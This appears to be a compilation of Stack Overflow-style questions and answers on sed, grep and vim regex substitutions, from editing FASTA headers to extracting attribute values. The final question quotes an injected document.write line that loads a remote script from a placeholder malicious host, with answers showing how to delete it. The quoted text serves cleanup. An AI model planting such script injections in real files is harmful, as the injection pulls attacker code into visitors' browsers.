I have the following line:
>XXX-220_5004_COVID-A6
TTTATTTGACATGAGTAAATTTCCCCTTAAATTAAGGGGTACTGCTGTTATGTCTTTAAA
AGAAGGTCAAATCAATGATATGATTTTATCTCTTCTTAGTAAAGGTAGACTTATAATTAG
AGAAAACAAC
I would like to convert the first line as follows:
>INITWORD/XXX-220_5004_COVID-A6/FINALWORD
TTTATTTGACATGAGTAAATTTCCCCTTAAATTAAGGGGTACTGCTGTTATGTCTTTAAA
AGAAGGT...
So far I have managed to add the first word as follows:
sed 's/>/>INITTWORD\//I'
That returns:
>INITWORD/XXX-220_5004_COVID-A6
TTTATTTGACATGAGTAAATTTCCCCTTAAATTAAGGGGTACTGCTGTTATGTCTTTAAA
AGAAGGT
How can i add the FINALWORD at the end of the first line?
Just substitute more. sed conveniently allows you to recall the text you matched with a back reference, so just embed that between the things you want to add.
sed 's%^>\(.*\)%>INITWORD/\1/FINALWORD%I' file.fasta
I also added a ^ beginning-of-line anchor, and switched to % delimiters so the slashes don't need to be escaped.
In some more detail, the s command's syntax is s/regex/replacement/flags where regex is a regular expression to match the text you want to replace, and replacement is the text to replace it with. In the regex, you can use grouping parentheses \(...\) to extract some of the matched text into the replacement; so \1 refers to whatever matched the first set of grouping parentheses, \2 to the second, etc. The /flags are optional single-character specifiers which modify the behavior of the command; so for example, a /g flag says to replace every match on a line, instead of just the first one (but we only expect one match per line so it's not necessary or useful here).
The I flag is non-standard but since you are using that, I assume it does something useful for you.
Related
I'm using the vscode vimplugin. I have a bunch of lines that look like:
Terry,169,80,,,47,,,22,,,6,,
I want to remove all the alphanumeric characters after the first comma so I get:
Terry,,,,,,,,,,,,,
In command mode I tried:
s/^.+\,[a-zA-Z0-9-]\+//g
But this does not appear to do anything. How can I get this working?
edit:
s/^[^,]\+,[a-zA-Z0-9-]\+//g
\+ is greedy; ^.\+, eats the entire line up to the last ,.
Instead of the dot (which means "any character") use [^,] which means "any but a comma". Then ^[^,]\+, means "any characters up to the first comma".
The problem with your requirement is that you want to anchor at the beginning using ^ so you cannot use flag g — with the anchor any substitution will be done once. The only way I can solve the puzzle is to use expressions: match and preserve the anchored text and then use function substitute() with flag g.
I managed with the following expression:
:s/\(^[^,]\+\)\(,\+\)\(.\+\)$/\=submatch(1) . submatch(2) . substitute(submatch(3), '[^,]', '', 'g')/
Let me split it in parts. Searching:
\(^[^,]\+\) — first, match any non-commas
\(,\+\) — any number of commas
\(.\+\)$ — all chars to the end of the string
Substituting:
\= — the substitution is an expression
See http://vimdoc.sourceforge.net/htmldoc/change.html#sub-replace-expression
submatch(1) — replace with the first match (non-commas anchored with ^)
submatch(2) — replace with the second match (commas)
substitute(submatch(3), '[^,]', '', 'g') — replace in the rest of the string
The last call to substitute() is simple, it replaces all non-commas with empty strings.
PS. Tested in real vim, not vscode.
I've got an application that has no useful api implemented, and the only way to get certain information is to parse string output. This is proving to be very painful...
I'm trying to achieve this in bash on SLES12.
Given I have the following strings:
QMNAME(QMTKGW01) STATUS(Running)
QMNAME(QMTKGW01) STATUS(Ended normally)
I want to extract the STATUS value, ie "Ended normally" or "Running".
Note that the line structure can move around, so I can't count on the "STATUS" being the second field.
The closest I have managed to get so far is to extract a single word from inside STATUS like so
echo "QMNAME(QMTKGW01) STATUS(Running)" | sed "s/^.*STATUS(\(\S*\)).*/\1/"
This works for "Running" but not for "Ended normally"
I've tried switching the \S* for [\S\s]* in both "grep -o" and "sed" but it seems to corrupt the entire regex.
This is purely a regex issue, by doing \S you requested to match non-white space characters within (..) but the failing case has a space between which does not comply with the grammar defined. Make it simple by explicitly calling out the characters to match inside (..) as [a-zA-Z ]* i.e. zero or more upper & lower case characters and spaces.
sed 's/^.*STATUS(\([a-zA-Z ]*\)).*/\1/'
Or use character classes [:alnum:] if you want numbers too
sed 's/^.*STATUS(\([[:alnum:] ]*\)).*/\1/'
sed 's/.*STATUS(\([^)]*\)).*/\1/' file
Output:
Running
Ended normally
Extracting a substring matching a given pattern is a job for grep, not sed. We should use sed when we must edit the input string. (A lot of people use sed and even awk just to extract substrings, but that's wasteful in my opinion.)
So, here is a grep solution. We need to make some assumptions (in any solution) about your input - some are easy to relax, others are not. In your example the word STATUS is always capitalized, and it is immediately followed by the opening parenthesis (no space, no colon etc.). These assumptions can be relaxed easily. More importantly, and not easy to work around: there are no nested parentheses. You will want the longest substring of non-closing-parenthesis characters following the opening parenthesis, no mater what they are.
With these assumptions:
$ grep -oP '\bSTATUS\(\K[^)]*(?=\))' << EOF
> QMNAME(QMTKGW01) STATUS(Running)
> QMNAME(QMTKGW01) STATUS(Ended normally)
> EOF
Running
Ended normally
Explanation:
Command options: o to return only the matched substring; P to use Perl extensions (the \K marker and the lookahead). The regexp: we look for a word boundary (\b) - so the word STATUS is a complete word, not part of a longer word like SUBSTATUS; then the word STATUS and opening parenthesis. This is required for a match, but \K instructs that this part of the matched string will not be returned in the output. Then we seek zero or more non-closing-parenthesis characters ([^)]*) and we require that this be followed by a closing parenthesis - but the closing parenthesis is also not included in the returned string. That's a "lookahead" (the (?= ... ) construct).
sed 's/<img src=\"\([^"]*\).*/\1/g'
input:
<img src="geo.yahoo.com/b?s=792600534"; height="1" width="1" style="position: absolute;" />
output:
https://geo.yahoo.com/b?s=792600534
This part is the regular expression to match with a capturing group Later referred as \1 (first capturing group). It extracting the value of the src attribute.
First part if the regex -> <img src=\"
capturing group -> \([^"]*\)
rest of the regex -> .*
The expression inside the square brackets could be read as: "anything not a double quote".
sed is a scripting language. Its s command performs substitutions using regular expressions. The syntax is s/regex/replacement/flags. In your example, you have the regex
<img src=\"\([^"]*\).*
and the replacement
\1
and the flags
g
The regex is apparently attempting to parse HTML, which deserves you a place in a warm location where a friendly gentleman with a pitchfork helps you with motivational issues. Far, far away, God reluctantly ends the life of a fluffy kitten.
The regular expression contains a capturing group, which is simply the text which matched between the parentheses. The replacement \1 refers back to this captured text. So in brief, you are taking away the parts which matched around this captured string.
s/foo\(bar\)baz/\1/
replaces foobarbaz with just baz, retrieving the "baz" part from whatever matched, rather than hard-coding a replacement string.
The regular expression .* matches any character any number of times; the regular expression engine will prefer the longest, leftmost possible match.
The regular expression [^"]* matches a single character which is not (newline or) " and the * again says to match as many times as possible. So "\([^"]*\)" finds a double-quoted string, and captures its contents; the negated " prevents the regular expression from matching past the closing quote when matching as many characters as possible. (As noted in comments, the backslash before the first " is unnecessary, but basically harmless. It just tells us that whoever wrote this isn't a regex wizard.)
However, your example just implicitly includes the closing quote in the .* match which will simply match everything from the closing quote through to the end of the line.
The g flag says to repeat the substitution command as many times as possible; so if an input line contains multiple matches, all of them will be replaced. (Without the g flag, sed will just replace the first match it finds on a line.) But since you just removed the rest of the line, the flag isn't actually useful here; there can only ever be a single match.
The gentleman with the pitchfork doesn't want me to tell you this, but this code is not suitable for a general-purpose script. There is no guarantee that the src attribute of the img element will be immediately adjacent to the img opening tag with just a single space in between; HTML allows arbitrary spacing (including a line wrap) and you can have other attributes like id or alt or title which could go before or after the src attribute. The proper solution is to use a HTML parser to extract the src attributes of img tags with proper understanding of the surrounding syntax.
xmlstarlet sel -T -t -m "/img" -m "#src" -v '.' -n
... though the stray semicolon after the src attribute is a HTML syntax violation; is it really there in your input?
(xmlstarlet command line shamelessly adapted from https://stackoverflow.com/a/3174307/874188)
I have a question about using sed to modify file. My file content:
<data-value name="WLS_INSTALL_DIR" value="/home/Oracle/wlserver_10.3">
I want to replace the content of field value="/home/Oracle/wlserver_10.3"
to get this result:
<data-value name="WLS_INSTALL_DIR" value="/u03/Middle_home/Oracle/wlserver_10.3">
I use sed:
sed "6 i/^value=/>/s/value= />\(.*\)/value=\"\/u03\/Oracle/Middleware/wlserver_10.3"\" \/\ /u03/silent.xml
Your sed script has a number of issues.
First off, anything that looks like 6istuff will simply write everything after i ("insert") verbatim as a new line before the sixth line. (Some dialects require a newline after the i and will basically do nothing.)
Secondly, ^value= does not match your input; it would only select a line starting with the string value= (the ^ metacharacter means beginning of line).
Thirdly, the /> in your subsitution regex terminates the substitution and so everything from > onwards is parsed as invalid flags for the substitution. I cannot see the purpose of this part, anyway; it doesn't match your data, and so the regex fails.
What remains after removing all these superfluous and erroneous details is a more or less useful sed script. (I assume the 6 to address only the sixth line of input is intentional, although you don't mention this in the question at all.) I have made some additional minor improvements, such as using % as the substitution delimiter and tightening the regex so that it only ever substitutes a double-quoted value.
sed '6s%value="[^"]*"%value="/u03/Oracle/Middleware/wlserver_10.3"%' /u03/silent.xml
Better than 6 would perhaps be to identify the line with /name="WLS_INSTALL_DIR"/.
Still, as alluded to in a comment, the proper way to manipulate XML is with a dedicated tool such as xsltproc.
Try:
sed 's|/home|/u03/Middle_home|'
I found some malicious JavaScript inserted into dozens of files.
The malicious code looks like this:
/*123456*/
document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>');
/*/123456*/
Some kind of opening tag, the document.write that inserts the remote script, a seemingly empty line, and then their "closing tag."
In a comment on this Stack Overflow answer I found out how to delete a single line in a single file.
sed -i '/pattern to match/d' ./infile
But I need to delete one line before, and two lines after, and again it is in at least a few dozen files.
So I think I could perhaps use grep -lr to find the file names, then pass each one to sed and somehow remove the matching line, as well as one before and 2 after (4 lines total). Pattern to match could be "\n*\nmaliciousurl\n\n*\n"?
I also tried this, trying to replace the pattern with empty string. The .* are the hex numbers in the opening/closing tags, and also the stuff between the tags.
sed -e '\%/\*.*\*/.*maliciousurl.*/\*/.*\*/%,\%%d' test.js
You need to match on the begin and end comments, not the document.write line:
sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'
This uses the % symbol in place of the more normal / to delimit the patterns, which is usually a good idea when the pattern contains slashed and doesn't contain % symbols. The leading \ tells sed that the following character is the pattern delimiter. You can use any character (except backslash or newline) in place of the %; Control-A is another good one to consider.
From the sed manual on Mac OS X:
In a context address, any character other than a backslash ('\') or newline
character may be used to delimit the regular expression. Also, putting a backslash character before the delimiting character causes the character to be
treated literally. For example, in the context address \xabc\xdefx, the RE
delimiter is an 'x' and the second 'x' stands for itself, so that the regular expression is 'abcxdef'.
Now, if in fact your pattern isn't as easily identified as the /*123456*/ you show in the example, then maybe you are forced to key off the malicious URL. However, in that case, you cannot use sed very easily; it cannot do relative offsets (/x/+1 is not allowed, let alone /x/-1). At that point, you probably fall back on ed (or perhaps ex):
ed - $file <<'EOF'
g/maliciousurl.com/.-1,.+2d
w
q
EOF
This does a global search for the malicious URL, and with each occurrence, deletes from the line before the current line (.-1) to two lines after it (.+2). Then write the file and quit.